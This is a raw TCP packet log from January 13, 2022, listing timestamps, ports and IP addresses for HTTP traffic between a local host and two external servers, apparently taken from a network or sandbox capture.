Jan 13, 2022 20:51:15.368264914 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.368278027 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.368314028 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.371782064 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.371823072 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.371851921 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.371877909 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.371884108 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.371931076 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.372417927 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.372450113 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.372524023 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.390780926 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.390815973 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.390840054 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.390882969 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.423468113 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.423477888 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.423495054 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.423583031 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.423971891 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.426125050 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.426194906 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.482693911 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.369771004 CET	49814	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.426464081 CET	80	49814	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.426907063 CET	49814	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.427010059 CET	49814	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.427031040 CET	49814	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.484039068 CET	80	49814	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.543524981 CET	80	49814	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.543548107 CET	80	49814	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.543636084 CET	49814	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.543813944 CET	49814	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.578164101 CET	49815	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.600398064 CET	80	49814	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.636039972 CET	80	49815	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.636149883 CET	49815	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.636295080 CET	49815	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.636315107 CET	49815	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.692677975 CET	80	49815	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.742960930 CET	80	49815	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.743197918 CET	49815	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.743725061 CET	49815	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:17.802536964 CET	80	49815	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:17.826025963 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:17.901073933 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.901211977 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:17.916074038 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:17.991059065 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991375923 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991394997 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991434097 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991450071 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991466045 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991471052 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:17.991483927 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991503954 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991511106 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:17.991527081 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991538048 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:17.991549969 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991566896 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:17.991595984 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:17.991616011 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.066549063 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066608906 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066648006 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066688061 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066725969 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066728115 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.066766024 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066776037 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.066808939 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066824913 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.066848040 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066885948 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066910982 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.066925049 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066962004 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.066977978 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.067002058 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.067040920 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.067059040 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.067082882 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.067122936 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.067137003 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.067162037 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.067199945 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.067214012 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.067240000 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.067281008 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.067301035 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.113497019 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142210960 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142232895 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142249107 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142265081 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142282009 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142298937 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142306089 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142324924 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142342091 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142349958 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142375946 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142385960 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142393112 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142404079 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142415047 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142432928 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142448902 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142457008 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142467022 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142482996 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142493010 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142499924 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142518997 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142530918 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142537117 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142553091 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142561913 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142570019 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142590046 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142592907 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142606020 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142607927 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142623901 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142640114 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142642021 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142656088 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142673969 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142676115 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142688990 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142707109 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142707109 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142726898 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142731905 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142739058 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142744064 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142762899 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142771006 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142779112 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142796993 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142816067 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142819881 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142832041 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142848015 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142853022 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142865896 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.142874002 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.142908096 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.188497066 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.188549042 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.188611984 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.217865944 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.217919111 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.217958927 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.217994928 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.217998028 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218034983 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218040943 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218077898 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218116999 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218128920 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218158007 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218197107 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218203068 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218235016 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218276024 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218281031 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218316078 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218357086 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218363047 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218396902 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218434095 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218445063 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218473911 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218513966 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218519926 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218552113 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218590021 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218595982 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218628883 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218667030 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218674898 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218708038 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218744993 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218755960 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218784094 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218821049 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218827963 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218858957 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218897104 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218902111 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.218935966 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218976021 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.218988895 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.219017029 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219054937 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219068050 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.219096899 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219136000 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219141006 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.219172955 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219212055 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219218016 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.219249964 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219290018 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219294071 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.219329119 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219366074 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219377995 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.219407082 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219445944 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219451904 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.219496012 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219537020 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219541073 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.219575882 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219615936 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219619989 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.219655991 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.219700098 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.263648987 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.263694048 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.263767004 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.294593096 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.294651031 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.294688940 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.294720888 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.294728041 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.294770002 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.294790983 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.294810057 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.294850111 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.294863939 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.294891119 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.294929981 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.294945002 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.294970989 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295008898 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295025110 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295048952 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295092106 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295104980 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295129061 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295167923 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295182943 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295206070 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295245886 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295260906 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295285940 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295324087 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295336962 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295361996 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295401096 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295414925 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295438051 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295476913 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295490980 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295516014 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295556068 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295574903 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295597076 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295634031 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295649052 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295672894 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295712948 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295722008 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295751095 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295789003 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295799017 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295830011 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295869112 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295876026 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295912981 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295950890 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.295967102 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.295991898 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296046972 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296077013 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296097994 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.296118975 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296133995 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.296159983 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296199083 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296212912 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.296238899 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296276093 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296288967 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.296314955 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296354055 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296367884 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.296395063 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.296444893 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.338762999 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.338823080 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.338840008 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.338879108 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.371495962 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371568918 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371611118 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371651888 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371655941 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.371691942 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371712923 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.371735096 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371774912 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371809959 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.371817112 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371860981 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371871948 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.371901989 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371942043 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.371954918 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.371984005 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372023106 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372034073 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372076035 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372116089 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372134924 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372153997 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372195005 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372206926 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372236013 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372275114 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372287035 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372315884 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372353077 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372370958 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372391939 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372432947 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372441053 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372473955 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372514963 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372528076 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372555017 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372595072 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:18.372601986 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:18.372636080 CET	80	49816	141.8.194.74	192.168.2.5
